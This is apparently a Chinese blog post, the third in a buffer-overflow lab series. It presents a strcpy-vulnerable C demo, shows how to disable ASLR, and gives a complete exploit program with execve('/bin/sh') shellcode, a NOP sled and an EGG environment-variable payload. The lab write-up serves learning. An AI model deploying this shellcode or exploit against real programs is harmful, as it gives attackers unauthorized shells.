1. 程式人生 > >緩衝區溢位攻擊實驗(三)

緩衝區溢位攻擊實驗(三)

在緩衝區溢位攻擊實驗(一)(二)分別介紹了先關知識和shellcode機器碼的獲得,這一篇就闡述怎麼利用別人程式中的緩衝區溢位漏洞實施攻擊;

三、緩衝區溢位漏洞攻擊

1.一個存在緩衝區溢位漏洞的demo

        下面的一個demo程式使用了strcpy()函式,而這個函式不是安全的,其並不對引數陣列的越界進行檢查;而且程式接受使用者輸入,這就成了經典的受攻擊案例(velnerable.c);

#include<stdio.h>
#include<string.h>
/*unsigned long get_sp(){
	__asm__("movl %esp,%eax");
}*/
void main(int argc,char*argv[]){
	char buffer[512];
	if(argc>1){
		strcpy(buffer,argv[1]);
		printf("input buffer size:%d\n",strlen(argv[1]));
	}
}

2.怎麼攻擊上面那個demo

       根據前面的分析,上面的demo程式是存在緩衝區溢位漏洞的,其buffer陣列接受使用者輸入,並且沒有對資料的越界做檢查,這樣,只需要對buffer寫入越界的資料,並設計好填充棧返回單元的地址,就可以利用demo獲取shell了。還有個問題,也是前面提到的問題,我們shell的機器碼資料應該存放在什麼地方;當然是受攻擊的demo程式中,demo程式中以為可以提供給我們寫入資料的就是buffer陣列了。好的,那就把機器碼寫入到demo程式的buffer陣列中去。又有一個問題了來了,寫入了buffer陣列,怎麼才能獲得我們寫入機器碼的地址呢?看到《smashing the stack for fun and profit》中說,幾乎所有的程式的棧起始地址都是一樣的,這樣就可以在我們的惡意程式中直接獲得demo程式的棧起始地址了。

獲取棧起始地址:sp.c

#include<stdio.h>
unsigned long get_sp(void){
	__asm__("movl %esp,%eax");
}

void main(){
	printf("0x%x\n",get_sp());
}
如果真是向上面說的那樣,每次執行sp程式得到的結果應該是一樣的,即棧的起始地址不會改變;但是,事實不是這樣的,現代作業系統不會傻到讓你輕易猜測到程式的棧其實地址,真要是這樣豈不是便宜了攻擊者!那麼作業系統是做了什麼來進行棧保護呢?再次盜用一張圖:


原來,作業系統給程式分配棧地址空間的時候,做了一定的手腳來加大攻擊的難度:在棧空間上面有一個Random stack offset區域,這個區域的大小是個隨機值,這樣攻擊者每次得到的棧起始地址就是不一樣的了,這就加大了攻擊的難度。事實證明上面那段程式sp.c在每次執行的時候得到的棧起始地址也是不一樣的。

       既然有了這樣的機制,那麼怎麼辦?作為一個實驗性的,就不是深究怎麼破開這個random stack offset問題了,我們有好的Linux作業系統為學習人員提供了一個捷徑,Ubuntu下為我們提供了關閉地址空間隨機化(ASLR)的方法:

/proc/sys/kernel/randomize_va_space檔案控制著ASLR的開啟和關閉,其有三個取值:0,1,2;0 - 表示關閉程序地址空間隨機化、
1 - 表示將mmap的基址,stack和vdso頁面隨機化、2 - 表示在1的基礎上增加棧(heap)的隨機化。作為實驗用:我們在root模式下修改這個檔案的值為0以關閉隨機化機制。echo 0>/proc/sys/kernel/randomize_va_space就完成了改變。

       修改了這個屬性之後,我們就可以順利得到demo的棧起始地址了,一般程式區域性變數的數目總是有限的,那麼buffer相對棧起始地址的偏移就是可猜測的。於是我們設計了下面的攻擊程式:又忘記留這一步的程式碼了,不過這裡的程式碼還是要經過改進的,直接貼上那篇文章的圖片吧。


事實證明這麼猜測buffer的地址是低效率行不通的,因為需要恰好猜對buffer的起始地址然後把它寫入demo程式的返回地址處。能不能有個改進,使得不需要準確知道buffer的起始地址,只需控制寫入demo返回地址在buffer資料範圍即可。這樣猜測buffer地址的範圍要遠比猜測buffer的其實地址要簡單得多。從理論上分析:猜測效力變成原來的sizeof(buffer)倍。引入這種思想之後,我們就不能把獲取shell程式的機器碼放到buffer的起始地址處了。有個非常好的指令nop指令,其僅僅是一個空操作,這樣只要返回地址指向我們的任意一個nop指令,程式總能到我們的惡意指令處。此時,攻擊模型變成:


根據這個攻擊模型,攻擊程式碼變成:exploitdemo.c

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90
char shellcode[]="\xeb\x1f\x5e\x89\x76\x08\x31\xc0"
"\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(){
	__asm__("movl %esp,%eax");
}
void main(int argc,char*argv[]){
	char*buffer,*ptr;
	long*add_ptr,addr;
	int offset=DEFAULT_OFFSET,bsize=DEFAULT_BUFFER_SIZE;	
	int i;
	if(argc>1)
		bsize=atoi(argv[1]);
	if(argc>2)
		offset=atoi(argv[2]);
	if(!(buffer=malloc(bsize)))
	{	
		printf("Can't malloc memory");
		exit(0);
	}	
	addr=get_sp()-offset;
	printf("Using ret address:0x%x\n",addr);

	ptr=buffer;
	add_ptr=(long*)ptr;
	for(i=0;i<bsize;i+=4){
		*(add_ptr++)=addr;		
	}
	for(i=0;i<bsize/2;i++){
		buffer[i]=NOP;	
	}
	ptr=buffer+((bsize/2-strlen(shellcode)/2));
	for(i=0;i<strlen(shellcode);i++){
		*(ptr++)=shellcode[i];	
	}
	buffer[bsize-1]='\0';
	memcpy(buffer,"EGG=",4);
	int a=putenv(buffer);
	printf("%d\n",a);	
	system("/bin/sh");
}
看一下實驗效果:



可以看到,這樣的程式正確的獲得了shell,由於exploit本身有獲得shell使得記過有些混淆,下面貼一個隨便輸入500+大小資料的結果來論證上面攻擊程式的正確性:


這樣成功說明了我們攻擊程式是有效的,可以通過有漏洞的demo程式獲取shell。這裡還作幾點說明:

1、上面攻擊程式中自己本事獲取shell的操作不是必須的,只是為了引入環境變數,使得我們向demo程式寫入溢位資料的時候簡單點,不要手動輸入而已;

2.關於環境變數這裡沒有做詳細說明,但還是簡單記錄下我查閱到重要結果:用putenv()加入的環境變數,只是對當前自己的程式可見的,對漏洞demo程式並不具有可見性。所以我們怎麼向demo程式的實施攻擊的時候直接在exploit程式獲得的shell下進行的,而沒有退出exploit程式,也就是exploit申請的shell程式,因為退出了之後,我們設定的環境變數就不再是可見的了。當然此時可以通過手動把shellcode[]溢位陣列傳遞給demo程式,以實施攻擊。

四、對這次實驗的最後幾點思考

1、這裡僅僅是學習緩衝區溢位的原理,現實當中真正的攻擊要比這個複雜得多。

2、當漏洞程式的buffer資料長度不夠大時,不足以放下我們溢位攻擊的陣列的機器碼時怎麼辦;利用環境變數,使得EGG存取攻擊的機器碼,RET儲存任意EGG中nop指令的地址即可。具體細節這裡不作說明了,看圖上的程式碼吧。



不知道是我沒有理解還是啥,感覺還是有點雞肋,我們的目的就是為了獲得shell,沒有獲得shell前,怎麼可以輕易寫入環境變數呢!實驗到此結束。

五、Linux作業系統對於緩衝區溢位保護策略

           緩衝區溢位攻擊很早就出現了,Linux自然做了相應的保護策略,這也是一個很長的話題,這裡給出一個關於這方面知識的連結:GCC編譯器堆疊保護技術,後面有機會希望集合具體的漏洞示例來進行現實的中的漏洞利用。